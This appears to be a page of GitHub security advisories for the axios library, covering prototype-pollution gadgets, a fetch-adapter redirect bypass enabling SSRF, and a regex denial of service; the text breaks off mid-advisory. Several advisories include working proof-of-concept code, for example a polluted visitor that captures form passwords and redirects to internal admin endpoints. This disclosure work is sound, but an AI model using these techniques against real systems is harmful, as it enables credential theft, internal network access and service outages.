Where
-Infinity
0
Severity
8.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios form serialization reads visitor, maxDepth, dots, indexes, metaTokens, and Blob from an internal options object without own-property guards. When Object.prototype has been polluted elsewhere in the same process, those inherited values can change how axios serializes multipart and URL-encoded request bodies.

Axios does not create the prototype pollution source. This is a read-side gadget: axios turns an existing same-process pollution condition into altered request serialization or request failures.

Impact

The impact depends on which property is polluted and which axios serialization path the application uses.

Polluted dots, indexes, or metaTokens can change field names and cause the receiving service to parse different data than the caller intended. Polluted maxDepth can cause nested form submissions to throw ERRFORMDATADEPTHEXCEEDED, producing request-level or service-level denial of service for affected workflows. Polluted visitor can execute as the serializer visitor if an attacker can place a function on Object.prototype, but that condition generally implies a stronger same-process code-execution or malicious-dependency primitive and should be described carefully.

Affected Functionality

Affected:

- axios.toFormData(). - transformRequest paths that serialize plain objects to multipart/form-data. - URL-encoded form serialization paths that rely on the same helper. - formSerializer option defaults when the relevant properties are absent as own properties.

Not affected:

- JSON request bodies. - Requests that do not invoke toFormData(). - Processes where Object.prototype is not polluted.

Technical Details

lib/helpers/toFormData.js merges caller options with defaults using utils.toFlatObject(). When options is undefined, toFlatObject() returns the default object unchanged:

js { metaTokens: true, dots: false, indexes: false }

That default object has Object.prototype in its prototype chain. toFormData() then reads behavior-affecting values directly:

js const metaTokens = options.metaTokens; const visitor = options.visitor || defaultVisitor; const dots = options.dots; const indexes = options.indexes; const Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); const maxDepth = options.maxDepth === undefined ? DEFAULTFORMDATAMAXDEPTH : options.maxDepth;

These reads can resolve inherited polluted properties.

Local code review confirmed the direct reads in v1.18.1. Tag checks show the option-based form serializer exists in v0.28.0 and later; maxDepth appears in the 1.x line from the form recursion fix.

Proof of Concept of Attack

Constrained local demonstration:

js Object.prototype.maxDepth = 1;

await axios.post(url, { a: { b: { c: 'value' } } }, { headers: { 'Content-Type': 'multipart/form-data' } });

Expected safe behavior is that the default max depth is used unless the caller sets an own formSerializer.maxDepth. Current behavior reads the inherited value and can throw ERRFORMDATADEPTHEXCEEDED.

For serializer alteration, polluting Object.prototype.dots = true changes nested field naming from bracket notation to dot notation when the caller did not opt into that behavior.

Workarounds

Avoid serializing attacker-controlled objects as form data in a process with known prototype pollution. As a partial mitigation, callers can pass an own formSerializer object that sets explicit safe values for all relevant keys, including visitor, maxDepth, dots, indexes, metaTokens, and Blob.

<details> <summary><h3>Original report</h3></summary>

Summary axios v1.18.1 contains a read-side prototype pollution gadget in its form data serialization logic. Six option properties (visitor, maxDepth, dots, indexes, metaTokens, Blob) are read from a plain JavaScript object that inherits from Object.prototype without hasOwnProperty guards. When Object.prototype has been polluted elsewhere in the process a common consequence of compromised transitive npm dependencies, these polluted values silently control axios' form serialization behavior.

The highest-impact gadget is visitor: a polluted function on Object.prototype.visitor is invoked for every key-value pair during multipart and URL-encoded form serialization, receiving the value, key, path, and internal helper functions as arguments.

Details Root Cause The attack chain has three steps: Step 1: formSerializer is read safely, but undefined flows through In lib/defaults/index.js, the default transformRequest function reads formSerializer from config using the own() helper, which enforces hasOwnProp: js const formSerializer = own(this, 'formSerializer'); When the user does not explicitly configure formSerializer, this correctly returns undefined. That undefined is then passed as the options parameter to toFormData(): js return toFormData(data, FormData && new FormData(), formSerializer); // ^^^^^^^^^^^^ undefined

Step 2: toFlatObject returns a plain-object default Inside lib/helpers/toFormData.js, options (which is undefined) is merged with defaults via utils.toFlatObject(): js options = utils.toFlatObject( options, // undefined { metaTokens: true, dots: false, indexes: false }, // plain object literal false, function defined(option, source) { return !utils.isUndefined(source[option]); } ); toFlatObject has an early-return for null/undefined sources:

js // lib/utils.js:607 if (sourceObj == null) return destObj; Since options is undefined, the function returns destObj unchanged — the plain object { metaTokens: true, dots: false, indexes: false }. This object's prototype is Object.prototype.

Step 3: Options are read without hasOwnProp guards The six option properties are read directly from the plain object: js const metaTokens = options.metaTokens; // line 117 const visitor = options.visitor || defaultVisitor; // line 119 const dots = options.dots; // line 120 const indexes = options.indexes; // line 121 const Blob = options.Blob || (typeof Blob !== 'undefined' && Blob); // line 122 const maxDepth = options.maxDepth === undefined // line 123 ? DEFAULTFORMDATAMAXDEPTH : options.maxDepth; None of these reads use utils.hasOwnProp(). Since the options object inherits from Object.prototype, any property set on Object.prototype by a compromised dependency is resolved through the prototype chain.

Why the Existing Defenses Didn't Catch This axios has extensive prototype pollution defenses. However, those defenses are all focused on the config object (created by mergeConfig, which returns Object.create(null)). The toFormData function creates its own internal options object that sits outside that boundary, and the 6 reads on that internal object were never audited.

PoC Reproduction Steps Environment Any environment with Node.js and npm. Tested on: - Node.js v24.15.0, npm 11.13.0 - axios v1.18.1 (latest release at time of writing)

Step 1: Create a fresh project bash mkdir axios-pp-poc cd axios-pp-poc npm init -y npm install axios@1.18.1 Step 2: Create the PoC file Create poc.mjs with the following content: js import axios from 'axios'; import http from 'http';

// Simulate pollution from a compromised transitive dependency let stolen = []; Object.prototype.visitor = function(value, key, path, helpers) { stolen.push({ key, value }); return helpers.defaultVisitor.call(this, value, key, path); }; Object.prototype.maxDepth = 2;

const server = http.createServer((req, res) => { res.writeHead(200); res.end('{}'); });

server.listen(0, '127.0.0.1', async () => { const { port } = server.address(); try { // Exfiltration: visitor intercepts all form fields await axios.post(http://127.0.0.1:${port}/, { username: 'john', password: 'SuperSecret123!', profile: { ssn: '123-45-6789' } }, { headers: { 'Content-Type': 'multipart/form-data' } });

console.log('Stolen:', stolen); // Stolen: [ // { key: 'username', value: 'john' }, // { key: 'password', value: 'SuperSecret123!' }, // { key: 'profile', value: { ssn: '123-45-6789' } }, // { key: 'ssn', value: '123-45-6789' } // ]

// DoS: nested object rejected by polluted maxDepth await axios.post(http://127.0.0.1:${port}/, { a: { b: { c: { d: 'value' } } } }, { headers: { 'Content-Type': 'multipart/form-data' } } ); // Throws: ERRFORMDATADEPTHEXCEEDED // "Object is too deeply nested (3 levels). Max depth: 2" } finally { delete Object.prototype.visitor; delete Object.prototype.maxDepth; server.close(); } }); Step 3: Run the PoC bash node poc.mjs

Impact 1. Data Exfiltration via visitor (Confidentiality: High) A polluted Object.prototype.visitor function is called as the form data visitor: js visitor.call(formData, el, key, path, exposedHelpers) The attacker receives: - value — the raw value being serialized (passwords, tokens, PII, API keys) - key — the field name - path — the full path array (e.g., ['profile', 'address', 'street']) - exposedHelpers — internal helpers including defaultVisitor, convertValue, isVisitable

By delegating to helpers.defaultVisitor, the attack is completely transparent, the request succeeds normally and the server receives intact data. The exfiltration is invisible to both the caller and the server.

2. Denial of Service via maxDepth (Availability: Low) A polluted Object.prototype.maxDepth of 1 or 2 causes any moderately nested form data request to throw ERRFORMDATADEPTHEXCEEDED. Applications that send nested objects as form data (common with APIs that accept profile[name], address[city], etc.) will experience mysterious failures.

3. Data Corruption via dots, indexes, metaTokens (Integrity: Low) Polluting these options changes the serialization format of form field names: - dots: true — changes bracket notation (user[name]) to dot notation (user.name) - indexes: true — changes array serialization (items[]) to indexed (items[0], items[1]) - metaTokens: false — changes obj{} keys to raw json strings

The server may misinterpret the submitted form data, leading to silent data corruption. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
6.9
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios fetch adapter requests can be altered by inherited properties on fetchOptions. The adapter resolves method, headers, body, signal, and credentials into resolvedOptions, creates a Request, and then calls fetch(request, fetchOptions) instead of fetch(request, resolvedOptions). In runtimes such as Node's undici-backed fetch, inherited fetchOptions.headers can override the headers already placed on the Request.

Axios does not create the prototype pollution source. This is a read-side gadget that becomes exploitable after same-process prototype pollution.

Impact

An attacker with a prior prototype-pollution primitive can cause affected fetch-adapter requests to send attacker-controlled headers and drop caller-specified headers. This can affect authorization, cache behavior, metadata-service interactions, or application-specific header-based controls.

The issue is specific to fetch-adapter behavior and does not affect Node HTTP adapter requests.

Affected Functionality

Affected:

- adapter: 'fetch'. - Runtime environments where the fetch adapter is selected. - Requests where fetchOptions is an object that does not have safe own values for sensitive fetch init fields.

Not affected:

- Node HTTP adapter. - Requests that do not use the fetch adapter. - Processes where Object.prototype is not polluted.

Technical Details

lib/adapters/fetch.js builds:

js const resolvedOptions = { ...fetchOptions, signal: composedSignal, method: method.toUpperCase(), headers: toByteStringHeaderObject(headers.normalize()), body: data, duplex: 'half', credentials: isCredentialsSupported ? withCredentials : undefined, };

request = isRequestSupported && new Request(url, resolvedOptions);

let response = await (isRequestSupported ? fetch(request, fetchOptions) : fetch(url, resolvedOptions));

The fallback path without Request uses resolvedOptions, but the Request path passes the original fetchOptions as the second argument to fetch(). That second argument can contain inherited properties from Object.prototype.

Local verification on axios 1.18.1 set Object.prototype.headers = { Authorization: 'Bearer POLLUTED' } and called the fetch adapter with headers: { 'X-Good': 'yes' }, fetchOptions: {}. The loopback server received Authorization: Bearer POLLUTED and did not receive X-Good.

Proof of Concept of Attack

Constrained local demonstration:

js Object.prototype.headers = { Authorization: 'Bearer POLLUTED' }; try { await axios.get(url, { adapter: 'fetch', headers: { 'X-Good': 'yes' }, fetchOptions: {} }); } finally { delete Object.prototype.headers; }

Expected safe behavior is that the sanitized axios headers remain in force. Current behavior can use the inherited fetch init headers instead.

Workarounds

Use the Node HTTP adapter for security-sensitive server-side requests until fixed. If the fetch adapter must be used, avoid passing empty fetchOptions objects in processes where prototype pollution is possible, and set explicit safe own values for fetch init fields.

<details> <summary><h3>Original report</h3></summary> Hello, I’m not completely sure if this is something you’d consider a security issue, since it depends on prototype pollution happening somewhere else first, but I wanted to report it just in case.

I was testing the fetch adapter with polluted prototype values and found that Object.prototype.headers can change the request axios sends.

The issue seems to be in lib/adapters/fetch.js. Axios creates a Request with the resolved headers/method/body, but then sends it with fetch(request, fetchOptions). With undici, if fetchOptions doesn’t have its own headers, an inherited Object.prototype.headers value can be used during the final fetch call.

I tested it with this:

js import http from 'node:http'; import axios from 'axios';

const server = http.createServer((req, res) => { res.end(JSON.stringify({ authorization: req.headers.authorization || null, xGood: req.headers['x-good'] || null })); });

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve)); const { port } = server.address();

Object.prototype.headers = { Authorization: 'Bearer POLLUTED' };

try { const res = await axios.get(http://127.0.0.1:${port}/, { adapter: 'fetch', headers: { 'X-Good': 'yes' }, fetchOptions: {} });

console.log(res.data); } finally { delete Object.prototype.headers; server.close(); }

The result I get is:

json { "authorization": "Bearer POLLUTED", "xGood": null }

So the polluted Authorization header is sent, and the normal axios header is not.

Changing the fetch call to pass the already resolved options fixes it for me:

diff - fetch(request, fetchOptions) + fetch(request, resolvedOptions)

resolvedOptions already includes ...fetchOptions, so custom fetch options should still work, while headers, method, body, and signal stay as clean own values. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7
SSRF
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios exposes maxRedirects to limit redirect following, and maxRedirects: 0 is used by applications as a redirect-based SSRF guard. The Node HTTP adapter enforces this option. The fetch adapter does not read it and does not set a Fetch API redirect mode, so the runtime default of redirect: 'follow' applies.

Applications are affected when they rely on maxRedirects: 0 and use the fetch adapter, either explicitly or because the runtime selects it.

Impact

An attacker who controls the initial URL or a redirecting server can cause a fetch-adapter request to follow a redirect even though the caller configured maxRedirects: 0. If the redirect target is reachable only from the application environment, this can expose internal responses or trigger state-changing internal endpoints.

This should not be described as unconditional SSRF. The bypass requires a redirect source, such as an attacker-controlled server or open redirect, and an application that trusted maxRedirects: 0 as the redirect guard.

Affected Functionality

Affected:

- adapter: 'fetch'. - Runtime environments where fetch is selected by adapter resolution. - Requests configured with maxRedirects: 0 but without fetchOptions.redirect: 'manual' or equivalent runtime-specific redirect control.

Not affected:

- Node HTTP adapter, which enforces maxRedirects: 0. - Requests that do not follow redirects in the underlying fetch implementation because the caller explicitly configured fetch redirect behavior.

Technical Details

lib/adapters/fetch.js destructures many fields from resolveConfig(config), but not maxRedirects. It then builds fetch options without a redirect key:

js const resolvedOptions = { ...fetchOptions, signal: composedSignal, method: method.toUpperCase(), headers: toByteStringHeaderObject(headers.normalize()), body: data, duplex: 'half', credentials: isCredentialsSupported ? withCredentials : undefined, };

Because redirect is absent, the Fetch API default is to follow redirects.

Local verification on axios 1.18.1 showed the HTTP adapter throwing with maxRedirects: 0, while the fetch adapter followed the same loopback 302 and returned the internal response.

Proof of Concept of Attack

Constrained local demonstration:

1. Start server A that returns 302 Location: http://127.0.0.1:<server-b>/internal. 2. Start server B that returns INTERNAL. 3. Compare:

js await axios.get(serverA, { adapter: 'http', maxRedirects: 0 }); // throws await axios.get(serverA, { adapter: 'fetch', maxRedirects: 0 }); // returns INTERNAL

Workarounds

For fetch-adapter requests, set fetchOptions: { redirect: 'manual' } where the runtime supports it, or use the Node HTTP adapter for requests that rely on axios redirect limits.

<details> <summary><h3>Original report</h3></summary> Summary

Axios 1.17.0 exposes maxRedirects as a configuration option to limit redirect following, and setting it to 0 is a documented pattern for preventing redirect-based SSRF. The HTTP adapter enforces this via follow-redirects. The fetch adapter does not read maxRedirects at all - it passes requests to the underlying fetch() call with no redirect option, which defaults to 'follow', so redirects are followed by the runtime rather than being constrained by axios maxRedirects.

In the attached PoC, a request issued with maxRedirects: 0 and adapter: 'fetch' follows a 302 redirect to an internal service and returns its response, while the same request with adapter: 'http' correctly throws. A second bypass case demonstrates that the redirect can reach a state-changing internal endpoint, not just read-only ones, proving both confidentiality and integrity impact.

This affects any application that sets maxRedirects: 0 as a redirect guard and runs in an environment where the fetch adapter is active: Deno, Bun, Cloudflare Workers, or Node.js with adapter: 'fetch' set explicitly.

Details

The fetch adapter destructures config fields from resolveConfig at lib/adapters/fetch.js:

js let { url, method, data, signal, cancelToken, timeout, onDownloadProgress, onUploadProgress, responseType, headers, withCredentials, fetchOptions, maxContentLength, maxBodyLength, } = resolveConfig(config); // maxRedirects is not extracted

The options object passed to fetch() has no redirect key:

js const resolvedOptions = { ...fetchOptions, // redirect only set here if caller explicitly passes fetchOptions.redirect signal: composedSignal, method: method.toUpperCase(), headers: toByteStringHeaderObject(headers.normalize()), body: data, duplex: 'half', credentials: isCredentialsSupported ? withCredentials : undefined, };

Because no redirect key is present, the Fetch API default of redirect: 'follow' applies, so redirects are handled by the runtime rather than constrained by axios maxRedirects. The HTTP adapter, by contrast, delegates to follow-redirects, which reads maxRedirects, enforces the cap, and strips Authorization, Cookie, and Proxy-Authorization on cross-origin redirects.

The discrepancy between adapters is not documented. The threat model covers credential stripping on redirects (T-R2) and cites follow-redirects as the mitigation, but makes no mention that the fetch adapter does not participate in this mitigation. See: https://github.com/axios/axios/blob/master/THREATMODEL.md#t-r2-credential-leakage-on-cross-origin-redirect

The behaviour difference between adapters is summarised below:

| Behaviour | HTTP adapter | Fetch adapter | |----------------------------------------|---------------------------------|--------------------------| | Reads config.maxRedirects | Yes | No | | Enforces maxRedirects: 0 | Yes -- throws on any redirect | No -- follows silently| | Strips Authorization cross-origin | Yes (follow-redirects >=1.15.8)| Runtime-dependent | | Strips Cookie cross-origin | Yes | Runtime-dependent |

When is the fetch adapter selected?

- Deno, Bun, Cloudflare Workers: no Node.js http module available; the adapter list falls through to 'fetch' - Explicit config: axios.get(url, { adapter: 'fetch' }) - Custom adapter list: axios.create({ adapter: ['fetch'] })

PoC

js import http from 'http'; import axios from './index.js';

// Server A: the "trusted" external target, issues open redirects to Server B const serverA = http.createServer((req, res) => { if (req.url === '/api/data') { res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/secrets' }); return res.end(); } if (req.url === '/api/change-config') { res.writeHead(302, { Location: 'http://127.0.0.1:13802/internal/admin/config' }); return res.end(); } res.writeHead(200, { 'Content-Type': 'application/json' }); res.end(JSON.stringify({ ok: true })); });

let internalHits = 0; let internalConfig = {};

// Server B: the "internal" service, should be unreachable from the application const serverB = http.createServer(async (req, res) => { internalHits++;

if (req.url === '/internal/secrets') { res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ secret: 'FAKEAWSSECRETACCESSKEYFORPOCONLY', role: 'arn:aws:iam::000000000000:role/FakeProductionRole', })); }

if (req.url === '/internal/admin/config') { internalConfig = { compromised: true, source: 'redirect-followed-by-fetch-adapter' }; res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ reached: 'state-changing internal admin endpoint', changed: true, internalConfig, })); }

res.writeHead(404); res.end(); });

await Promise.all([ new Promise((resolve, reject) => { serverA.listen(13801, '127.0.0.1', resolve); serverA.on('error', reject); }), new Promise((resolve, reject) => { serverB.listen(13802, '127.0.0.1', resolve); serverB.on('error', reject); }), ]);

const targetUrl = 'http://127.0.0.1:13801/api/data'; const changeUrl = 'http://127.0.0.1:13801/api/change-config'; const internalUrl = 'http://127.0.0.1:13802/internal/secrets'; const internalCfg = 'http://127.0.0.1:13802/internal/admin/config';

console.log('Axios maxRedirects bypass via fetch adapter PoC'); console.log(axios VERSION=${axios.VERSION}); console.log(maxRedirects=0); console.log(Target URL=${targetUrl}); console.log( redirects to ${internalUrl}); console.log(Change URL=${changeUrl}); console.log( redirects to ${internalCfg}); console.log('');

// CONTROL: HTTP adapter correctly enforces maxRedirects: 0 let httpBlocked = false; try { await axios.get(targetUrl, { maxRedirects: 0, adapter: 'http' }); console.log('[CONTROL] HTTP adapter + maxRedirects:0 BUG: should have thrown'); } catch (err) { httpBlocked = true; console.log([CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (${err.code ?? err.message})); } console.log([CONTROL] Internal hits after HTTP adapter: ${internalHits});

// BYPASS: Fetch adapter silently ignores maxRedirects: 0 let fetchResponse = null; try { fetchResponse = await axios.get(targetUrl, { maxRedirects: 0, adapter: 'fetch' }); console.log('[BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗'); console.log(' Response:', JSON.stringify(fetchResponse.data)); } catch (err) { console.log('[BYPASS] Fetch adapter + maxRedirects:0 redirect blocked (unexpected):', err.message); } console.log([BYPASS] Internal hits after fetch adapter: ${internalHits});

// BYPASS: Fetch adapter follows redirect to state-changing internal endpoint let changedResponse = null; try { changedResponse = await axios.get(changeUrl, { maxRedirects: 0, adapter: 'fetch' }); console.log('[BYPASS] Fetch adapter state change:', JSON.stringify(changedResponse.data)); console.log([BYPASS] Internal hits after state change: ${internalHits}); } catch (err) { console.log('[BYPASS] State change request blocked (unexpected):', err.message); }

console.log('');

if (httpBlocked && fetchResponse && changedResponse) { console.log('POC RESULT: fetch adapter followed redirects despite maxRedirects:0,'); console.log(' reaching internal service and mutating internal state.'); } else if (httpBlocked && fetchResponse) { console.log('POC RESULT: fetch adapter followed redirect despite maxRedirects:0,'); console.log(' reaching internal service that should have been unreachable.'); } else if (!httpBlocked) { console.log('POC RESULT: HTTP adapter did not block redirect -- unexpected, check axios version.'); } else { console.log('POC RESULT: fetch adapter blocked redirect -- issue may be fixed.'); }

serverA.close(); serverB.close();

Run:

bash node poc-max-redirects.mjs

Observed:

text Axios maxRedirects bypass via fetch adapter PoC axios VERSION=1.17.0 maxRedirects=0 Target URL=http://127.0.0.1:13801/api/data redirects to http://127.0.0.1:13802/internal/secrets Change URL=http://127.0.0.1:13801/api/change-config redirects to http://127.0.0.1:13802/internal/admin/config

[CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERRBADRESPONSE) [CONTROL] Internal hits after HTTP adapter: 0 [BYPASS] Fetch adapter + maxRedirects:0 SSRF succeeded ✗ Response: {"secret":"FAKEAWSSECRETACCESSKEYFORPOCONLY","role":"arn:aws:iam::000000000000:role/FakeProductionRole"} [BYPASS] Internal hits after fetch adapter: 1 [BYPASS] Fetch adapter state change: {"reached":"state-changing internal admin endpoint","changed":true,"internalConfig":{"compromised":true,"source":"redirect-followed-by-fetch-adapter"}} [BYPASS] Internal hits after state change: 2

POC RESULT: fetch adapter followed redirects despite maxRedirects:0, reaching internal service and mutating internal state.

Control

Axios does correctly enforce maxRedirects: 0 in the HTTP adapter. The [CONTROL] case above confirms this: the same request with adapter: 'http' throws rather than following the redirect, and the internal hit counter stays at 0:

text [CONTROL] HTTP adapter + maxRedirects:0 correctly blocked redirect ✓ (ERRBADRESPONSE) [CONTROL] Internal hits after HTTP adapter: 0

The issue is not that maxRedirects is broken globally. It is enforced correctly for the HTTP adapter. The bypass is specific to the fetch adapter, which never reads the option and passes no redirect constraint to the underlying fetch() call.

Impact

This is a redirect enforcement bypass affecting axios applications running in environments where the fetch adapter is active.

The internal admin route in the PoC simulates an affected deployment where a redirected request can reach state-changing internal APIs. The vulnerability is that maxRedirects: 0 is silently ignored by the fetch adapter; the exact impact depends on what redirect targets are reachable from the runtime.

The impact is environment- and configuration-dependent. It affects axios users who:

- Set maxRedirects: 0 as a defense against redirect-based SSRF, and - Run in an environment where the fetch adapter is selected, either by runtime (Deno, Bun, Cloudflare Workers) or by explicit configuration

In these cases, a 302 redirect from the initial target is followed silently by default, unless the caller separately sets fetchOptions.redirect. If the redirect target is an internal service, the application returns its response to the caller with no indication that a redirect occurred or that maxRedirects was not honoured. The failure is silent: no error is thrown, no warning is logged.

The bypass is not limited to read-only access. As demonstrated by the second bypass case, a redirect to a state-changing internal endpoint succeeds equally. An attacker who can influence the redirect destination, for example through an open redirect on the initial target or a server they control, can reach internal and trigger mutations that the application never intended to issue.

Potentially affected environments include:

- Deno and Bun applications using axios where the fetch adapter is the default. - Cloudflare Workers using axios, which has no Node.js http module. - Node.js applications that explicitly configure adapter: 'fetch' or a custom adapter list that resolves to fetch. - Any application that conditionally sets maxRedirects: 0 and runs across multiple environments with different adapter selection.

Internal services reachable via a redirect include cloud instance metadata endpoints (169.254.169.254), unauthenticated local services such as Redis or internal admin APIs, and other hosts accessible from the application's network that are not intended to be reachable by the caller. The hit counter in the PoC makes the access concrete: 0 after the HTTP control, 1 after the confidentiality bypass, 2 after the integrity bypass.

This should not be characterised as an unconditional SSRF. The bypass requires either an open redirect on the initial target, or a URL that is itself a redirect. The issue is that maxRedirects: 0, which is the intended mitigation for this class of attack, is silently non-functional in the fetch adapter, leaving applications with a false sense of protection. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios shouldBypassProxy() normalizes hostnames with hostname.replace(/\.+$/, ''). For a hostname shaped as many dots followed by a non-dot, the anchored regex can perform quadratic backtracking. Because axios re-evaluates proxy bypass rules for redirected requests, a malicious server can trigger this synchronous work through a crafted redirect Location.

The issue affects Node.js applications that use environment proxy variables with NOPROXY and allow redirects.

Impact

An attacker-controlled server can return a redirect whose hostname causes the axios process to spend significant CPU time in synchronous hostname normalization. During this time, the Node.js event loop is blocked and the application cannot handle other work on that thread.

This is an availability-only issue. It does not disclose request data or modify requests.

Affected Functionality

Affected:

- Node.js HTTP adapter. - Environment proxy handling through HTTPPROXY or HTTPSPROXY. - NOPROXY or noproxy set to a non-empty value. - Redirects followed by axios or follow-redirects.

Not affected:

- Browser adapters. - Requests with proxy: false. - Requests with no NOPROXY value. - Requests with maxRedirects: 0, unless application code manually follows the malicious redirect and re-enters axios.

Technical Details

lib/helpers/shouldBypassProxy.js contains:

js return unmapIPv4MappedIPv6(hostname.replace(/\.+$/, ''));

When the hostname is "." n + "a", the $ anchor causes the regex engine to retry the dot run from many positions before it fails. setProxy() invokes shouldBypassProxy(location) after getProxyForUrl(location) returns a proxy, including on redirect hops via beforeRedirects.proxy.

Local timing on axios 1.18.1 showed increasing cost for crafted hostnames: about 1 ms at 1000 dots, 6.9 ms at 3000 dots, and 34.5 ms at 6000 dots. The growth is consistent with the submitted quadratic claim while avoiding long-running payloads.

Proof of Concept of Attack

Constrained helper-level demonstration:

js import shouldBypassProxy from 'axios/lib/helpers/shouldBypassProxy.js';

process.env.NOPROXY = 'example.com'; shouldBypassProxy('http://' + '.'.repeat(6000) + 'a/');

In the full adapter path, a malicious server can return that hostname in a 302 Location header while the client has proxy environment variables and NOPROXY configured.

Workarounds

Disable automatic redirects for requests to untrusted servers, or avoid environment proxy handling for those requests with proxy: false when appropriate. Operators can also avoid broad untrusted redirect-following in services where event-loop availability is critical.

<details> <summary><h3>Original report</h3></summary> Summary

shouldBypassProxy normalizes a host with hostname.replace(/\.+$/, ''). On a host of the shape <many dots><non-dot> (e.g. "." × 40000 + "a"), this anchored regex backtracks quadratically (O(N²)), synchronously starving the Node.js event loop. Because axios re-evaluates the proxy on every redirect using the new Location host, a malicious server can return a crafted 302 Location and freeze the client's event loop for seconds per redirect — a denial of service.

Details

- Affected code: lib/helpers/shouldBypassProxy.js → normalizeNoProxyHost: hostname.replace(/\.+$/, '') (one pass in 1.18.1). The open PR #11029 adds a second /\.+$/ pass in normalizeIPAddress, doubling the cost (not the origin). - Root cause: /\.+$/ is O(N²) on a long run of dots that is not at the end of the string — the $ anchor forces the engine to backtrack the entire dot-run from every start position. - Trust boundary (per THREATMODEL): the redirect Location is untrusted (T-2: "axios to network … redirect Location … untrusted"). The caller requests a benign URL; the malicious host arrives via the server's 302. This is not the T-1 caller-supplied-URL non-goal. - Call chain: setProxy(options, configProxy, location, isRedirect, …) (lib/adapters/http.js) → env-proxy branch → getProxyForUrl(location) returns a proxy → if (!shouldBypassProxy(location)) → normalizeNoProxyHost(parsed.hostname.toLowerCase()) runs /\.+$/. setProxy is re-invoked on the redirect hop with the untrusted Location; new URL() retains the long dot-run in .hostname. - Preconditions: proxy configured via environment (HTTPPROXY/HTTPSPROXY, trusted per THREATMODEL T-3, common in CI/containers/enterprise) + NOPROXY set + redirects followed (default maxRedirects: 5).

PoC

Self-contained, no network — imports axios's own helper: // node poc.mjs (run next to an axios install) import sbp from './nodemodules/axios/lib/helpers/shouldBypassProxy.js'; process.env.NOPROXY = 'example.com'; for (const n of [5000, 10000, 20000, 40000]) { const url = 'http://' + '.'.repeat(n) + 'a/'; // arrives as an untrusted 302 Location host const t0 = process.hrtime.bigint(); sbp(url); // returns false (correct no-bypass) — but O(N^2) slow console.log(N=${n}: ${(Number(process.hrtime.bigint()-t0)/1e6)|0} ms); } // Measured on 1.18.1: N=5000 ~43ms, 10000 ~160ms, 20000 ~618ms, 40000 ~2499ms; benign host ~0.05ms. Driven through the real http-adapter setProxy on the redirect path (setProxy(…, isRedirect=true)), a 10 ms timer fires 0 times during the ~2.4 s block at N=40000 — full event-loop starvation.

Impact

Denial of service (event-loop starvation) on any axios client that uses an environment proxy with NOPROXY set and follows redirects, when a server it contacts returns a crafted redirect Location. No data exposure or RCE. Same impact class as the accepted DoS advisories GHSA-62hf-57xw-28j9 (toFormData recursion) and the maxContentLength response-size DoS.

Suggested fix

Replace the regex trailing-dot strip with a linear trim: let end = hostname.length; while (end > 0 && hostname.charCodeAt(end - 1) === 46 / '.' /) end--; hostname = hostname.slice(0, end); Also drop the redundant second /\.+$/ pass in PR #11029's normalizeIPAddress. </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
SSRF
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

Axios' Node HTTP adapter can act as a read-side prototype-pollution gadget for Node's sensitive createConnection request option. The adapter creates a null-prototype options object, but Node's HTTP client can copy or normalize request options into ordinary objects before connection creation. If Object.prototype.createConnection has been polluted elsewhere in the same process, Node can call the inherited function and create a socket to an attacker-controlled endpoint.

Axios does not create the prototype pollution source. The vulnerability is that axios does not set an own safe value for a sensitive transport option before handing options to Node.

Impact

Given a prior same-process prototype-pollution primitive, an attacker can redirect later axios Node HTTP requests at the socket layer while the request URL and axios config still appear to target the legitimate origin. The attacker-controlled endpoint can receive request headers and bodies, including Authorization headers, cookies, API keys, and service credentials, and can return attacker-controlled responses to the application.

This can bypass application destination validation that checks the URL before calling axios, because the URL remains legitimate while the underlying socket goes elsewhere.

Affected Functionality

Affected:

- Node.js HTTP adapter. - HTTP and HTTPS request paths that rely on Node/follow-redirects option processing and do not set an own safe createConnection. - Processes where Object.prototype.createConnection is polluted.

Not affected:

- Browser adapters. - Processes without prototype pollution. - Requests using a custom trusted transport that ignores inherited createConnection and sanitizes options internally.

Technical Details

lib/adapters/http.js creates:

js const options = Object.assign(Object.create(null), { path, method, headers, agents: { http: httpAgent, https: httpsAgent }, auth, protocol, family, beforeRedirect: dispatchBeforeRedirect, beforeRedirects: Object.create(null), http2Options, });

